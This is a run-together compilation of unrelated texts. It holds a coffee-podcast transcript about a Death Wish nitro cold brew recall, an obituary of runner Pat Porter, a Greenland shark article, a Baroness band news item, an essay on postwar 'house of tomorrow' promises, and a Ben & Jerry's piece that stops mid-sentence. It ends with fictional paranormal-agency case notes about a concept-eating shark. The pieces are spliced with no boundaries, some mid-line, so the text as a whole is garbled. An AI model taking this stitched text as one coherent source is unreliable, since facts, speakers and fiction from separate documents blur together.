Mike: Yes. We asked him what he recommended. He said, “Well, you should probably recall. Just try do a recall, get this back. It could cause [unintelligible 00:16:54].” We’re like, “Okay, well, that’s extreme, but I will take that seriously.” I took all the product off my shelf and I reached out to another scientist who gave me very similar advice. I, at that point, reached out to my retail partners. I notified them that they should take it off the shelf until I find out more information.
Once they took it off the shelves, I actually notified the FDA at that point because I wanted to let them know what I was doing. They recommended I do a recall as well and that there going to help me through it. We just recalled them off.
Brendan: It was a totally proactive recall on your part?
Mike: Yes. Nobody was injured, nobody I heard- [crosstalk]
Brendan: You acted [unintelligible 00:17:48] end of it.
Mike: -never even found any toxins or bacteria in my coffee. I am not a scientist. I don’t pretend to be one. I feel like I’ve learned a lot about the process since I’ve been talking with those scientists, the FDA and additional of food scientists have reached out to me in the meantime. The problem they saw with the procedure was that after we had canned the product and used, we dosed it with nitrogen, we didn’t have a widget. We had a nitrogen doser. After that was done, we put it through a lime pasteurizer, which they didn’t like.
They said that might be worse because through a lime pasteurizer, even though it puts the product under heat, it still doesn’t kill the heat-resistant molds spores. If the product wasn’t kept under 40 degrees, if there was a break in the cold chain, then because coffee is a low acid beverage, it could develop an environment condusive for the [unintelligible 00:19:08].
I don’t know. I have to agree with them because, like I said, I’m not a food scientist. But they never showed up in any of my tests.
Brendan: Yes. You can’t guarantee that all the customers are going to be keeping it refrigerated. Somebody might take it home and just throw it on the shelf.
Mike: Yes. There is that and we ship it to our customers, direct to customers and if there is ever a problem with the shipping process, there could be a break there in the cold chain. I didn’t want to risk it. That’s why we did the recall.
Brendan: Makes total sense. Do you guys have any planned changes for your process or procedures or is it still up in the air what’s need to be dialed in?
Mike: No. It’s actually easy fix. They just said that instead of pasteurizing it, we should use a retort system. I read a retort system does is it puts the product under pressure and heat for a longer or intense period of time, which will not only pasteurize but will sterilize the product killing any heat resistant anything, like toxins. We’ve been pricing out retort systems. They are expensive, but the product is good.
I think even after we– Here’s the problem with me. Once we get this retort system and start implementing it, I think it’s going to change the product a bit because the products can be under more heat for a longer period of time. We’ll probably have to go back to the drawing board a bit just to make sure we get the correct flavor that we’re trying to get.
Brendan: Change the recipe a little bit huh?
Mike: Right, there might be some experimentation there, but that was basically the only recommendation. That said, “Once you do that, it’s going to have a shelf life of a Twinkie, which is forever, I think.
[laughter]
Brendan: I’m sure you like to hear that.
[laughter]
Mike:[ Yes, not really. That was kind of funny.
Brendan: Will the nitro cans be back on the market soon? Is this something you guys are actively pursuing right now?
Mike: Yes, we’re actively pursuing it. These retort systems, like I said, they’re not cheap and there is a waiting list to get these things right now. The quickest one I can get is early next year. If I could get it sooner I would, then there is that whole, I’m going to be a little safer than I already was this time and I’m going to bring some actual food scientists to verify the whole procedure before moving ahead with anything. That’s the lesson I learned there.
Brendan: That’s the key there.
Mike: Not sure what that’s going to calls us, but, like I said, I have a lot of smart people reaching out to me. I met a lot of people in this whole process, which is nice. We’re definitely going to available for it. It wasn’t as a killer product, it was [unintelligible 00:22:27], it tasted great, it was refreshing, it’s strong, woke you up in the morning. The nitrogen made it and it tastes almost creamy and smooth.
Brendan: Hey, Mike, I know you are a little bit pressed for time today, but before I let you go, can I read you some of these headlines they were out there? Because they’re-
[crosstalk]
Mike: Oh God, I read them. Read them for everyone.
Brendan: Can I read you a couple and just get a couple word response on each one because some of these are pretty outlandish [laughs]. USA Today said, “Death Wish Coffee recall. Nitro Cold Bew can kill you.” What else, we got Fortune, “A coffee called Death Wish has been recalled because it might actually kill you.” These are just-
Mike: Yes, they ran with it. I would’ve done the same thing. I try to put myself- [crosstalk] shoes.
Brendan: They were taking some liberties there.
Mike: If somebody served me up a headline like that as a reporter, I would have run with it too. It’s too easy.
Brendan: Yes, BuzzFeed, “Don’t drink Death Wish Coffee Cold Brew, unless you actually have a death wish [laughs]. Has this turned out to be a case of any publicity is good publicity for you guys with how-?
Mike: I just tell myself that. I don’t know if that’s actually the case. However, I was in New York City at a PR event on Thursday and I talked to this gentleman. He’s like, “Hey, I would’ve never heard of your coffee unless I heard about it on the news yesterday.” I was like, “All right, well, that’s good I think.”
Brendan: Getting in front of a new market [laughs].
Mike: Yes, but when you call yourself Death Wish Coffee company and you have a skull and crossbones as a logo, it’s almost like we’re asking for it in a way.
[laughter]
Brendan: No doubt.
Mike: I’m a realist. I get it [laughs].
Brendan: Cool man. I appreciate you joining me today. Where can people go to find your coffee or where can they go find you on social media?
Mike: Yes, once again, I’ve been telling people this. This recall is just on the Nitro Cold Brew cans, not any of our other products. Our other products, 100% safe. There’s no risk in the procedure, the process or the final product. You can find us at deathwishcoffee.com, you can find us on Amazon. We’re typically the number one or number two selling coffee on Amazon. We have a podcast called Fueled By Death Cast that goes off every week. You can find us iTunes and we have an active blog too on our website.
Brendan: Well, I’ll make sure that we put links to all those in the show notes. Again, thanks again for carving out some time for us. We appreciate you coming on today.
Mike: Yes, no problem. Thanks for having me.
[music]
Voice-over: If you’re looking to learn more about cold brew or draft coffee make sure you check out Keg Outlet’s Ultimate guide to cold brew coffee and serving coffee on Draft. But hey, don’t just take my word for it. Here’s Daniel Browning from the Browning Beverage Company in Marfa, Texas.
Daniel Browning: I got on the internet and started looking around. I found Keg Outlet’s Ultimate Guide to Cold Brewed Coffee and read it a couple more times than I’ve read anything in my life. That was pretty much all the research I needed.
Voice-over: If you’re looking to start your journey with cold brew or draft coffee, check out The Ultimate Guide to Cold Brewed Coffee and Serving Coffee on Draft, a free 34-page ebook offered at kegoutlet.com. You can get there through The Drips and Draughts website by going to dripsandraughts.com/ultimateguide.
[music]
Brendan: All right. Once again, thanks to Mike Brown from Death Wish Coffee for joining us today. Thanks to all you listeners out there who reached out to us and suggested that we get Death Wish Coffee on the show. Without all those requests, this episode probably would never have happened. After talking with Mike, it became pretty that the recall of the nitro coffee cans was entirely proactive. It’s great to know that they’re staying ahead of the curve, staying out in front these problems or what could have been a problem and actively looking for ways to resolve them.
Mike mentioned the retort process. That’s something that we’re going to start looking into. Hopefully, we can get somebody on the show, maybe a food canning scientist to talk about the retort process and what it is and what it does. My little bit of research into it, it looks like high pressure processing which we actually had somebody on a previous episode talking about HPP. That was way back on episode 19. If you’re interested in listening to that episode, you can find that by going to dripsanddraughts.com/19.
Actually, it sounds like the retort process is a combination of HPP as well as heated pasteurization. It’s putting the product under intense heat as well as pressure. At least that’s my take on it. That’s what I’ve gathered from just doing a couple of Google searches. Don’t trust me there. I’m looking to get somebody on the show to explain that process in a little bit more detail. Stay tuned for that.
Thanks for listening today. If you’re getting any value from this podcast, hop onto iTunes and leave us a review. It helps the show out and we’d appreciate it. As we’re coming into the holidays, it gets harder for us to line up episodes and get guests on the show, just because people start to get busy with the holiday rushes. If you’ve got somebody or if you want to be on the show, reach out to us. Hop onto our website. There’s a couple different links on there. There’s a be a guest on the show link. There’s an ask a question link, where you can click on that and actually record a question right from your web browser or you can always feel free to email us, [email protected]
Last little note here, this is just total coincidence, but we’re releasing this episode on Friday the 13th. Our guest was Death Wish Coffee. We did not plan that, just total coincidence. Just thought that was kind of funny.
All right, that’s going to do it for today. Make sure you guys go check out Death Wish Coffee by going to deathwishcoffee.com. Check out their podcast too, the Fueled by Death Cast. Once again, if you’re looking for links or show notes for this episode, you can find those by going to dripsanddraughts.com/80. That’s going to do it for this week. Thanks to Mike Brown from Death Wish Coffee, I’m Brendan Hanson and we’ll see you again next Friday on the Drips & Draughts Podcast.
Mentioned in this Show
Death Wish Coffee | Facebook | Twitter | Instagram | YouTube
Fueled By Death Cast the Death Wish Coffee Podcast
Super Bowl Ad: Death Wish Coffee Company Big Game Commercial: Storm’s a-Brewin’
Death Wish Coffee Nitro Coffee Can Safety Recall Page | FDA Safety Recall
Meet The Entrepreneur Behind The Death Wish Coffee Super Bowl Ad via Forbes
Some of the outrageous headlines…
Death Wish coffee recall: Nitro Cold Brew can kill you via USA Today
A Coffee Called “Death Wish” Has Been Recalled Because it Actually Might Kill You via Fortune
Don’t Drink Death Wish Coffee Cold Brew Unless You Have an Actual Death Wish via BuzzFeed
Death Wish Coffee Could Have Fatal Consequences via AOLEight-Time US Cross-Country Champion Pat Porter Dies In Plane Crash
Porter Dies Tragically At Age 53
By LetsRun.com
July 26, 2012
Pat Porter, who won a record 8 straight US cross-country championships and also went to two Olympics in the 10,000, died on Thursday in a plane crash in Arizona. Pat was 53 years old.
Porter was only a 4:29 miler in high school, but after transferring to Adams State he flourished under the guidance of Joe Vigil. Porter was at his best in cross-country, where he won the US title from 1982 to 1989. During that time frame, he finished in the top 10 in the world at least four times with a high finish of fourth in 1984. Porter, who had a 10,000 personal best of 27:46.80, was also a two-time 10,000 Olympian (1984 and 1988).
Don't know much about Porter? We highly recommend Kenny Moore's feature on Porter which appeared in Sports Illustrated in 1986: Running On A Rocky Mountain High? Colorado's Pat Porter, U.S. cross-country champ since 1982, is an athlete truly in his element.
If one reads that piece, they'll quickly understand that Porter was the ultimate blue-collar runner. Moore's piece gave details of Porter's training regimen, which included 120-mile weeks at the 7,540 feet of altitude found in Alamosa, CO, and a bruising 10-day cycle of workouts which were very taxing according to Moore:
Every day calls for considerable labor, from six one-mile runs (for which Porter recently averaged 4:19) to two hours through the sage to 16 400-meter intervals (Porter averaged 59.0 with a minute's rest between) to 10 miles at a five-minute-mile pace. Easy days are 12 miles, which Porter runs at a 5:40 pace.
It also was often very cold in Alamosa, but that didn't stop Porter, who said the following about the cold:
"If it's 40 below, it's too cold for the wind to blow. You throw on a layer of polypropylene, some sweats and a windbreaker, and go on out."
The altitude didn't stop Porter from running fast in practice (even if the'mile' in Alamosa was actually a bit short):
"Did a 4:01 mile up here (in Alamosa), once I saw God, too, right at the end. Everything got foggy, and there were bright sparkles."
For more information on the crash or Porter, please see the links below or watch the video from KOB 4 in Albuquerque (Note: Many of the links say that the plane was registered to Pat Porter but they don't know if Pat perished, but one of Pat's friends called LetsRun.com Thursday evening and told us that Pat Porter did die in the crash).
Update : Three-time world cross country champion Lynn Jennings emailed us a great picture of her and Porter from a Nike advertising campaign.
Comments, questions, suggestions, story you'd like to submit? Email us.They can be as big as great white sharks, but that's about as far as the comparison goes. Their maximum speed is a lethargic 1.7 miles per hour, many are almost blind, and they are happy to eat rotting carcasses. They may be common throughout the ocean, but you've probably never heard of them. Meet the Greenland shark.
Looking like nothing so much as a chunk of weather-beaten rock, Greenland sharks (Somniosus microcephalus) can grow up to 7.3 metres (24 feet) long, making them one of the largest of all fish, and the biggest in the Arctic. But they prefer to live in deep, cold water, so humans rarely see them.
Studies in the Arctic have revealed a few snippets of information about Greenland sharks, and more data is now starting to come in from elsewhere. It turns out that Greenland sharks are bizarre, and may be crucially important for the ocean ecosystem.
Greenland sharks only come close to the surface in places where the shallow water is frigid enough for them – primarily in the Arctic. They are most easily seen around Greenland and Iceland. As a result, they were long thought of as purely polar animals, as were the closely-related Pacific sleeper shark and southern sleeper shark.
But they have been reported on the coasts of Canada, Portugal, France, Scotland and Scandinavia. Some researchers think they live in many other areas too but just haven't been spotted in them yet.
"They may be everywhere that's cold enough and deep enough," says Aaron MacNeil of the Australian Institute of Marine Science, in Townsville, Queensland.
The obvious way to see a Greenland shark in the wild is to dive into the deep sea. For instance, in 2001 a remotely operated vehicle in the Gulf of Mexico captured footage of either a Greenland shark or a sleeper shark in over 2,600 metres (8,530ft) of water.
They may be everywhere that's cold enough and deep enough
Two years later, a pilot and a scientist from the Harbor Branch Oceanographic Institution in Fort Pierce, Florida, became the first people to come face to face with a Greenland shark in the deep sea. The shark, which was five metres (16ft) long, bumped into their submersible vessel 1,000 metres (3,280ft) down in the Gulf of Maine.
But hardly anyone dives that deep. So these rare encounters can't tell us how widespread and important the Greenland sharks are.
However, if the history of fishing is any guide, Greenland sharks are common as muck. The sharks were fished from the early 20th century until the 1960s; mainly for their liver oil, which was used as lamp fuel and industrial lubricant. In some years, over 30,000 were taken. That suggests a very healthy population.
In line with that, a recent expedition used 120 hooks on a longline, and caught 59 sharks. "I think they're fairly common," says Aaron Fisk of the University of Windsor in Ontario. "When we want to catch them we don't have any trouble."
So what are all these Greenland sharks eating? To find out, scientists have to get their hands dirty - by cutting open the sharks' stomachs and pulling out the remains of their meals.
It seems the sharks aren't too concerned about the freshness of their meals
So far this kind of work suggests the menu of the Greenland shark is highly varied. As well as fish, they eat just about anything that might fall off the ice, including reindeer and polar bears.
Given a chance it seems they will even try to eat moose. Last November, a man in Newfoundland found a Greenland shark gagging on a piece of moose hide, which had probably been thrown into the water by a hunter. He and another man decided to save the shark from choking on the hunk of moose. "A couple yanks and it just came right out," he told the Canadian Broadcasting Corporation.
It seems the sharks aren't too concerned about the freshness of their meals. Researchers have found small crustaceans called amphipods in their stomachs. These critters swarm over dead bodies in deep waters, so finding them hints that the sharks sometimes eat carrion.
That would make sense, because it's hard to understand how a Greenland shark could ever catch living prey.
For one thing they are absurdly slow, moving more sluggishly than any other shark. One satellite tagging study found that they usually meander about at around 0.8mph (1.1kph), accelerating to 1.7mph (2.7kph) when going all out. Others say they can reach 2.2mph (3.5kph). Regardless, many of the things they might want to eat can swim faster.
If that wasn't enough, many Greenland sharks appear to be almost blind. The culprit is Ommatokoita elongata, a crustacean with the nasty habit of permanently attaching itself to the front of the sharks’ eyes, damaging their corneas (see the photo above). In some populations, 90% of Greenland sharks carry these parasites. The shark that rammed the Harbor Branch submersible had them dangling from its eyes.
So how do Greenland sharks catch anything? It has been suggested that the parasitic crustaceans might be bioluminescent, and that the light they give off attracts fish for the shark. But that's "poppycock", says George Benz at Middle Tennessee State University in Murfreesboro. He says the scientific literature on the sharks is "contaminated" with unsubstantiated claims like this.
Benz thinks the sharks are more likely to be ambush predators. For example, Arctic seals sometimes sleep in the water to avoid polar bears, potentially allowing Greenlands to sneak up on them.
The seals also have to poke their heads through ice holes to breathe, giving the sharks an opportunity to catch them unawares. "They can still see light and dark, and a hole in the ice is like a big flashlight that says where the food comes in," says MacNeil.
No one has directly observed Greenland sharks catching seals in this way, but there is some circumstantial evidence. Large numbers of dead seals with "corkscrew" wounds have been recovered at Sable Island off the coast of Nova Scotia. Some were bitten in half, while others had the skin and blubber stripped from the lower halves of their bodies. "We're thinking those are Greenland shark bites," says MacNeil. "When they bite, the seal spins to get away, stripping the blubber away literally as it's trying to get out."
A hole in the ice is like a big flashlight that says where the food comes in
Others are unconvinced, arguing the seals were chopped up by propeller blades.
Whether or not the Greenland shark is the "Corkscrew Killer", Fisk has evidence that the species eats seals aplenty. He knew that seals in Svalbard have a short average lifespan despite seemingly ideal conditions: humans don't hunt them, they have few known predators, they aren't being accidentally caught by fishermen, and the area is not polluted. Wondering what was killing the seals, his team carried out stomach analyses on 45 Greenland sharks, and found that about a third contained the remains of seals. That was enough to explain the shorter lifespans.
Perhaps surprisingly, Greenland sharks may also tackle much bigger prey: whales.
Fisk's stomach analyses showed that they eat the discarded leftovers from Norwegian whale hunts. And it's not just dead whales they'll go after. Fisk has photographs of a group of beluga whales that came to a grisly end after becoming trapped by shifting ice off Baffin Island, northern Canada. "The polar bears went to town," he says, and so did Greenland sharks. "There were definitely Greenland bites on those beluga."
All this suggests Greenland sharks are playing a big role in the Arctic food web. If they are as common as everyone now suspects, they would have a big impact on other animals, says Fisk.
That may also be true in their deeper habitats, even if they get most of their food from sinking corpses. Benz says the sharks could be helping provide food for a wide range of other animals by breaking up these larger chunks of flesh. "A lot of organisms are going to benefit," he says.
If Greenland sharks are so important to the waters they live in, it would be good to know what is going to happen to them. "I think we need to think a little more about Greenland sharks," says Fisk.
In theory there are two things that could cause a problem: overfishing, and climate change.
Hákarl is either an acquired taste, or a contender for the most disgusting food on the planet
However, fishing seems unlikely to pose a major threat to the sharks. For one thing their meat is toxic, because it is rife with unsavory organic contaminants. So Greenland sharks are not regarded as a good dining option. In 1968, a group of sled dogs was fed Greenland shark flesh. Reportedly they were left walking stiffly, hyper-salivating and vomiting - not to mention having muscular convulsions, respiratory distress, and explosive diarrhoea. Some died.
A small number of Greenlands do get caught, to supply demand for an Icelandic delicacy called hákarl, or fermented shark. The meat is detoxified through a multi-week rotting process. Hákarl, MacNeil says, is an "acquired taste". Others have described it as a contender for the most disgusting food on the planet. It probably won't catch on enough to threaten the species.
Fishermen might catch the sharks by accident, though. From the late 1980s, the Inuit returned to fishing for Greenland halibut as a means of preserving their culture. Greenland sharks try to snatch free meals from the fishing hooks, and can get wrapped up in the lines.
That leaves climate change. Perhaps its most dramatic effect is the rapid retreat of the Arctic sea ice, particularly in the summer. What will that mean for the sharks?
As the summer ice levels decrease, the window for fishing grows larger. So while the halibut fishing has been limited so far, that could soon change. Large commercial fishing operators are well aware of this opportunity.
If we have ice-free summers, the food web could change dramatically
But the effects of the retreating ice go far beyond a few fishing boats. The entire Arctic ecosystem revolves around the sea ice. For the Greenland sharks, ice acts as a food delivery device. It's what keeps seals over open water, and as it melts it delivers dead animals as potential meals. That food source could be drastically cut as the ice shrinks ever further.
But other animals, particularly fish from further south, are migrating into the Arctic. Might the Greenland sharks start eating them? As so little is known about the sharks, it's difficult to say what will happen. All we can say for sure is that the Greenland sharks will be living in a very different Arctic in a few decades' time.
"If we have ice-free summers, as predicted in the near term," says MacNeil, "the food web could change dramatically."Singer reports: 'Some of the effects and injuries were severe enough to prohibit further activity in Baroness'
US metal band Baroness have confirmed that two members of the band have left following their serious bus crash in 2012.
Drummer Allen Bickle and bassist Matt Maggioni were involved in the accident which took place in Bath in August last year with a message posted on the official Baroness website yesterday (March 25) hinting that injuries sustained by the pair could be the reason for them not continuing to play with the band. Written by frontman John Baizley, the statement includes a section in which he writes: “For some of us, the accident necessitated a change that would prevent them from performing music or touring. It is with sadness that we must announce that Matt Maggioni and Allen Blickle will not continue touring with Baroness. The details of their departure are not sensational; they do not come with hard feelings. Nor are the details going to be public; suffice it to say we’d like to keep to ourselves the finer points of this situation, to respect the privacy of all involved.”
Shortly before saying that both musicians have been replaced in the band and that Baroness intend to return to touring as soon as possible, Baizley clarified the situation, saying: “Simply put, some of the effects and injuries were severe enough to prohibit further activity in Baroness. While we would never have asked them to leave; we have the utmost sympathy for this situation, and in earnest, we wish Matt and Allen the best in the future.”
Nine people were injured in August 2012 when a tourbus carrying the metal band crashed just outside Bath. The vehicle, which was carrying nine passengers, crashed and fell 30 feet over a viaduct. Seven people were taken to Royal United Hospital in Bath with minor injuries, but two were been more seriously injured and were taken to Frenchay Hospital in Bristol. It was reported at the time that they had to be cut out of the bus by firefighters.Americans were promised one thing during World War II: life was going to be amazing in the "world of tomorrow." But when the war ended many companies, along with the U.S. government, turned back on that promise as quickly as they could.
Americans were told that as soon as the war was over, everyone would have so many shiny appliances and bubble-top cars and super-modern homes that they wouldn't even know what to do with them all. Sure, you may have to sacrifice now, with the wartime rationing of everything from gasoline to sugar, but once victory has been achieved the good life is ahead.
Advertisement
The house of tomorrow — the miracle, push-button, prefabricated house of the future — was on its way even before WWII began. These promises were a hold-over of pent up desires left simmering and unfulfilled during the Great Depression of the 1930s. The legendary World's Fairs of 1933 in Chicago and 1939 in New York gave Americans a look at the house of the future, and after years of toil and sacrifice, luxury was surely coming soon. Or so they were told.
As Americans became more and more confident of victory in WWII during the war's later years of 1944 and 1945, cracks started to appear. People started to write articles (often unsigned or pseudonymously) in newspapers and magazines telling Americans to keep their shirts on.
That house we promised — that assurance that everything will be amazing after the war is done and peace has been secured? Now don't get your hopes up, Mr. Futurepants.
Advertisement
According to a fascinating 2005 paper by Timothy Mennel titled, "Miracle House Hoop-La," this wasn't a few skeptics who were telling Americans that they shouldn't expect too much. It was a coordinated effort by both the U.S. government and the housing industry to make sure that Americans kept their futuristic expectations in check. This, after both the government and industry had been promising the house of tomorrow as a sure thing for so long.
This dialing back of expectations started to pop up in newspapers and magazines across the country. From the January 3, 1944 Times Recorder in Zanesville, Ohio:
The House of Tomorrow will not be a completely prefabricated "dream home" stamped out like a cookie, according to the best authorities in the building industry. A metal residence hung like a bird cage or a single block of weird design makes a provocative magazine picture, but the average prospective owner and architect are too conventional to accept immediately such revolutionary, futuristic contraptions.
Advertisement
Did you catch that? The futuristic house of tomorrow we've been promising might look interesting in a glossy magazine, but you don't really want one, do you?
As Mennel explains, none of the builders wanted to be held responsible for actually delivering on any of their promises once push came to shove. Efficient prefab construction would be anything but a miracle, according to people with a vested interest in maintaining old fashioned building techniques:
Paddy Sullivan, president of the Building Trades Council of Chicago, called on other industrial leaders to "have the courage to condemn innovations toward'miracle housing' that will produce the slums of tomorrow."
Advertisement
Trade organizations and builders of all stripes joined in the call for a tamping down of public expectations — especially those that might get cut out of the new modern style of construction. You see, plastic and glass and steel were the future. And since wood wasn't exactly presented as the building material of tomorrow, organizations like the Arkansas Soft Pine Bureau were happy to contribute by advising the industry to tone it down with articles like "Take It Easy, Builders, About Miracle House Hoop-La."
Mennel sees this coordinated effort by industry as a way to associate the house of the future with a certain kind of foolishness:
Clearly the trope of the miracle house was being forcibly associated with waste and failure, in order to protect the status quo and absolve corporations from the responsibility of bringing expensive visions into existence.
Advertisement
The U.S. government acknowledged the effort to kill the miracle house of tomorrow in a 1945 report from the Bureau of Labor Statistics. If nothing else, the inevitable failure to deliver on over-the-top promises during the war would more or less fix itself:
An active effort to correct these impressions has been started through advertisements... It will be reinforced strongly by the postwar houses themselves which will be their own demonstration that the numerous irresponsible promises... cannot be met at present.
The Labor Department also issued a 1945 report analyzing the some 1,400 new technological developments that had grown up during the war. The high cost of building materials of the future (one word: plastics!) were singled out with language to makes sure consumers remained level-headed: "The future of the plastics industry will be governed largely by economic factors," the report explained. "The price per pound of most plastics remains higher than that of many materials with which plastics compete."
Advertisement
The January 1945 issue of Architectural Forum applauded the, "understandable and sensible campaign of counter-propaganda leveled against the terrifying prospect of a market nourished during lean war years with gilt-edged, but worthless promises."
What many Americans got after WWII was far from the miracle house of the future. There was nothing wrong with the "workingman's house" for those soldiers returning from war, but they didn't even come close to the promises being made just a few years earlier. Expectations were managed and modesty was in vogue. What constituted a house that was "futuristic" were developments that already existed before the war.
This modesty, as Mennel contends, was made to look like the only obvious and rational choice for red-blooded Americans in the mid-1940s. You don't want to be irrational, do you? All those futuristic advancements we promised were just a bit of puffery. Be reasonable, they insisted.
The broad success of such claims relied on convincing individuals that their spatial pursuit of happiness was in fact not part of a larger program of industrial organization and domination but merely an expression of their own communally grounded, rational, and socially validated needs and wants.
Advertisement
We may have promised you the miracle house of tomorrow, but we know what you really want.
The push-and-pull between companies that promised the moon, and organizations that wanted to deliver something more like a slideshow presentation of the moon, didn't stop in 1945. In fact, the most techno-utopian promises of the 20th century would arrive in the following decade once America had bounced back from its postwar recession.
Advertisement
But while people of the 21st century might lament their lack of whatever they were promised — a flying car or jetpack or hoverboard or a living wage — yours is not the first generation to be betrayed by promises of the future.
First two images: November 1944 issue of Pencil Points magazine, Bottom image: postwar Home-Ola brand house via Timothy Mennel's 2005 paper, "Miracle House Hoop-La"Stating that "systemic and institutionalised racism are the defining civil rights and social justice issues of our time," Ben & Jerry's has officially thrown its support behind the Black Lives Matters movement. But this being the frothing shit show known as the year 2016, some Americans have taken to the Internet to tell the ice cream company that it is the frozen dairy equivalent of "terrorists" and "cop killers."
Black Lives Matter. Choosing to be silent in the face of such injustice is not an option. https://t.co/6Vy0KHJeKU #BlackLivesMatter pic.twitter.com/pK96teLRhd — Ben & Jerry's (@benandjerrys) October 6, 2016
Let the ice cream games begin. A scoop of Rocky Road by any other name would taste as sweet.
Ben & Jerry's supports LGBT rights, has criticised Citizens United, and named an ice cream in honour of fellow Vermonter, Bernie Sanders (Bernie's Yearning, anyone?). But this latest move—which included a Tweet that, as of publication time, has been liked over 85,000 times and re-tweeted almost just as many, and a statement on their website that explains the declaration, along with a previous explanation of the "Seven Ways We Know Systemic Racism is Real"—has pissed off some Americans, big time. Then again, it's made a lot of other people pretty happy.
Ben&Jerry's makes delicious ice cream. But every time you spend $8 on 1 of |
Piece of rebar: An eight foot piece of rebar formerly part of the Lee Van Cleef Memorial Overpass, which had been consumed by the entity. Object is notable for being only consumed sample with incomplete ability to maintain full conceptual constancy; it fluctuates between a consumed state and a normal one, oftentimes losing part of its concept.
Current Status: Entity is currently held in a modified tank at the Portlands Aquarium, a popular tourist destination in the Teal District. The tank is constructed of Conceptually Null Clearsolid (CNC) and contains a variable water level depending on the entity's needs. Various complex security systems prevent the entrance of unauthorized entities or materials into the tank. Metaphysical marine biologists are working with the UIU to determine the state of the entity, as its condition is believed to be artificially induced by AoA members for use as a weapon. Entity shows moderate to severe signs of stress at all times because of its condition.
Crimes: AoA members charged with criminal manipulation of metaphysical and conceptual properties, animal abuse, intentional property damage, grand theft, larceny, multiple counts of first degree murder, and terrorism.
Sentencing: Indefinite detention
History of UIU Action:
8/27/1982: The AoA is founded as a religious club for those interested in metahumanism by J. Landecker Smith, a charismatic performance anartist known both for his street art with animals and a history of mental illness, and Ronald Kahn, a metaphysical engineer employed at Prometheus Labs. The central goal of the group is to reach a state of "concept providence" or "conceptual singularity," which are considered godhood. Membership includes various scientists, anartists, transhumanists, and at least one nonhuman citizen. UIU monitoring of the AoA begins at this time.
3/02/1987: AoA members release 700 metaphysically altered frogs designed as insect-based conceptuvores. Frogs also had anomalous surgery performed on the thyroid, increasing appetite capacity and decreasing energy expenditure. As such, all insects in a thirty block radius were rendered conceptually null. Cleanup lasts seven months. AoA members first brought to UIU attention and imprisoned for two years. No major activity until release of the shark. Refer to File 1987-005 for further information.
5/17/2014: At 1:09 PM the shark manifests within Quarry 3, owned by the Inditech Construction Company in the Jurassic District. Based on an intercepted phone call from quarry worker Shufen Chen to the Three Portlands Police, workers displayed confusion at the appearance and began working less. Panic spread when the entity opened its mouth and began eating the concept of air, causing multiple deaths from asphyxiation. The call ended at 1:14 PM, at which time police and UIU agents were dispatched to the location. Additional officers were sent to barricade entrances to the quarry. On arrival at 1:32 PM the entity was circling the area, continuing to consume more air. Officers opened fire as the shark approached them, following with it moving into the ground and disappearing. Air in the consumed regions returned at 3:15 PM.
All 22 workers within the quarry died from asphyxiation. Paratechnology used in the mining and storage of temporal limestone was heavily damaged from the creation of a vacuum and later change to normal air. The temporal limestone had also caused damage to machinery from the lack of workers to properly and safely store it.
7/15/2015: At 8:47 PM the shark manifests inside the Valley Valle Thaumaturgic Shopping Center located at 2317 Ukelele Drive. Entity consumed the concept of motion pictures within the Valley Valle Cinema, exited the building, and consumed the concept of summer before moving into a bus. The landscape took on a winter appearance, complete with cold temperatures and dead flora, for an hour. The interior of the Valley Valle cinema lost all screens, concessions and patrons for close to two hours. All concepts returned at 10:40 PM. Patrons of the Valley Valle cinema were left permanently unable to recognize the concept of a movie, but were otherwise unharmed.
3/12/2016: At 6:51 AM the shark manifests at the Lee Van Cleef Memorial Overpass, located next to the Trinity House Obelix Shadow in the Breakwater District. The concepts of concrete and rebar were eaten for an hour, causing a majority of the bridge to be lost until 8:50 AM. Cars and vehicles on the road fell through the bridge to the ground, causing approximately 79 deaths and 28 injuries. Multiple demonic entities were released from several destroyed and damaged vehicles, resulting in three cases of reanimation, one case of human possession, and two cases of technology possession. Three Portlands Police, High Risk Force, UIU agents, and specialists from multiple paratech fields were dispatched.
While the bridge's consumption caused no permanent damage to it, multiple broken cars that had landed under it became fused with support pillars when it reformed. This caused structural damage to the bridge, which forced a two month closure of the overpass and roads below it to perform repairs. Vehicle parts and body parts were removed from the pillars during this. It is unknown whether the subjects the body parts belonged to had died prior to the bridge reappearing or during it.
8/7/2017: The shark manifests at Phoenix Park in the Teal District at 1:32 PM. Civilians are initially intrigued until it begins eating concepts related to Astral Ice, a company that sells flavors of ice cream made through anomalous means. Astral Ice stands, products, and workers vanish, resulting in civilian panic. UIU agents and police arrive at 1:51 PM and evacuate civilians, along with remaining Astral Ice workers. A minute after the entity moves into the ground and leaves. All affected concepts returned at 3:40. Affected Astral Ice workers are permanently unable to perceive Astral Ice's Eurtec Stars flavor ice cream.
10/20/2017: At 8:01 PM the entity appears outside of the Portlands Bank in the Teal District, and begins to consume the concept of thaumaturgy. Thaumaturgic technology and bank security systems shut down, causing an immediate alert to be sent to police forces. UIU agents and police arrived at 8:23 to monitor the entity and prevent further breaches of bank security. Roads were shut down and cleared to transport a specialized detainment container to trap the entity. Upon the container arriving at 8:49 PM the shark rapidly moves from outside the bank into it. CNC Barriers fold around the container, trapping it in a water tank. The container is then transferred to the UIU Teal Facility for temporary detainment.
10/30/2017: The shark is transferred to a specialized tank in the Portlands Aquarium for improved detainment and care. UIU agents are assigned to protect the aquarium and to assist in research of the entity.
11/5/2017: Four members of the AoA break into the Portlands Aquarium after hours at 8:00 PM, and attempt to destroy the CNC tank and free the entity. Security camera footage shows that this initially fails, resulting in one of the members, Chris Standing Rock, trying to pass through the CNC plates to open the feeding hatch at the top of the tank from the inside. The properties of the CNC neutralize his concept and he undergoes variable construct emesis and dies. At this point security guards have alerted High Risk Force police and, due to the sensitive nature of the irregularity, UIU agents to detain the AoA burglars.
Arriving officers and agents cordon off reporters and Anderson Robotics Video Drones trying to view. Special Forces UIU agents lead the way into the building, followed by the High Risk Force officers and regular UIU agents. The three remaining members of the AoA are discovered to have edited their own metaphysical properties prior to the break-in (using the as-then unknown device) in order to match the strength of the arriving officers. Seven agents are flung aside by AoA member Rosalita Polanco-G'haart into a tank of elf octopus, which quickly eat them. Agent Branks engages in hand-to-hand-combat with AoA founder J. Landecker Smith, one of the burglars, and eventually subdues him with a pair of Anderson Hypercuffs but not before Smith is able to force Agent Branks into the penguin pit, where he cracks his skull. Officers are forced to shoot Polanco-G'haart and are able to subdue Smith and Jack Skaldir, the remaining AoA members. All three are placed in a CNC plated police vehicle to dampen their metaphysical edits, and are placed in detainment.
